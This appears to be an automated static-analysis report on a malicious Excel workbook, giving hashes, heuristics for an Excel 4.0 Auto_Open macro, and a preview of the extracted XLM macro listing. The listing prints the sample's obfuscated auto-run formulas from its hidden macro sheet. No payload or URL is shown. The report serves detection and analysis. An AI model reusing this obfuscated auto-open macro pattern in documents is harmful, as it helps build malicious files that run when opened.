Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a08ad299ed120b6…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:47 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 0458249e0f5c5d187ff6569a089ae73e SHA-1: 918e0b3c7156616e9488737cd5e5f87b8372e198 SHA-256: 8a08ad299ed120b6eda6a7d2491ec4262a0208cb26106f5234416351e067581e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6784 bytes
SHA-256: aa59bb0ad053b2ae6b5ec4cf41b79e6928c2ccda71084dfd69441851c0e5a693
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tCVEmmia
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H136 
' 0018     26 LABEL : Cell Value, String Constant - fWKFvbYXApl len=0 
' 0018     23 LABEL : Cell Value, String Constant - GcnELpIJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - gjcTkpxoDD len=0 
' 0018     26 LABEL : Cell Value, String Constant - hixFbiLHVAs len=0 
' 0018     23 LABEL : Cell Value, String Constant - kBoMazpx len=0 
' 0018     27 LABEL : Cell Value, String Constant - MthQqwZsRrsw len=0 
' 0018     27 LABEL : Cell Value, String Constant - ndZezjBtChcz len=0 
' 0018     27 LABEL : Cell Value, String Constant - oXMDZTiYRPIE len=0 
' 0018     26 LABEL : Cell Value, String Constant - PavdJDcEyBh len=0 
' 0018     23 LABEL : Cell Value, String Constant - pcdiLjkt len=0 
' 0018     24 LABEL : Cell Value, String Constant - pkOshMtEV len=0 
' 0018     24 LABEL : Cell Value, String Constant - PLncjdiIs len=0 
' 0018     27 LABEL : Cell Value, String Constant - RBaBTTJRTTlH len=0 
' 0018     21 LABEL : Cell Value, String Constant - RWMKqO len=0 
' 0018     21 LABEL : Cell Value, String Constant - sacoeK len=0 
' 0018     22 LABEL : Cell Value, String Constant - uXRrUKr len=0 
' 0018     23 LABEL : Cell Value, String Constant - vJiUDQHu len=0 
' 0018     25 LABEL : Cell Value, String Constant - vsCLOdObXY len=0 
' 0018     24 LABEL : Cell Value, String Constant - WksMkIrkL len=0 
' 0018     20 LABEL : Cell Value, String Constant - zMIhE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tCVEmmia,T47,"",-226.00000000000000000000
'  tCVEmmia,T48,"",94.00000000000000000000
'  tCVEmmia,H49,"SET.NAME("gjcTkpxoDD",0+VALUE("0"))",""
'  tCVEmmia,T49,"",414.00000000000000000000
'  tCVEmmia,T50,"",591.00000000000000000000
'  tCVEmmia,T51,"",455.00000000000000000000
'  tCVEmmia,H52,"SET.NAME("PLncjdiIs",gjcTkpxoDD)",""
'  tCVEmmia,T52,"",-122.00000000000000000000
'  tCVEmmia,H56,"SET.NAME("RBaBTTJRTTlH",gjcTkpxoDD)",""
'  tCVEmmia,H59,"SET.NAME("MthQqwZsRrsw",COUNTA(zMIhE))",""
'  tCVEmmia,H61,"SET.NAME("RWMKqO",COUNTA(vsCLOdObXY))",""
'  tCVEmmia,H66,[],""
'  tCVEmmia,H71,"SET.NAME("oXMDZTiYRPIE","")",""
'  tCVEmmia,H76,"PLncjdiIs",""
'  tCVEmmia,H80,"SET.NAME("GcnELpIJ",HLOOKUP("*",zMIhE,PLncjdiIs,FALSE))",""
'  tCVEmmia,H84,"sacoeK",""
'  tCVEmmia,H86,"SET.NAME("PavdJDcEyBh",gjcTkpxoDD)",""
'  tCVEmmia,H89,[],""
'  tCVEmmia,H92,"PavdJDcEyBh",""
'  tCVEmmia,H94,"ndZezjBtChcz",""
'  tCVEmmia,H99,"uXRrUKr",""
'  tCVEmmia,H102,"hixFbiLHVAs",""
'  tCVEmmia,H104,"SET.NAME("vJiUDQHu",VALUE(HLOOKUP("*",vsCLOdObXY,hixFbiLHVAs,FALSE)))",""
'  tCVEmmia,H107,"pkOshMtEV",""
'  tCVEmmia,H109,"oXMDZTiYRPIE",""
'  tCVEmmia,H112,"RBaBTTJRTTlH",""
'  tCVEmmia,H117,NEXT(),""
'  tCVEmmia,H119,"fWKFvbYXApl",""
'  tCVEmmia,H121,[],""
'  tCVEmmia,H124,"kBoMazpx",""
'  tCVEmmia,H128,NEXT(),""
'  tCVEmmia,H131,RETURN(),""
'  tCVEmmia,H159,"SET.NAME("WksMkIrkL",H49)",""
'  tCVEmmia,H162,"zMIhE",""
'  tCVEmmia,H164,"SET.NAME("vsCLOdObXY",R75C13)",""
'  tCVEmmia,H168,"SET.NAME("kBoMazpx",177)",""
'  tCVEmmia,H172,"SET.NAME("pcdiLjkt",8)",""
'  tCVEmmia,H176,WksMkIrkL(),""
'  tCVEmmia,H177,HALT(),""

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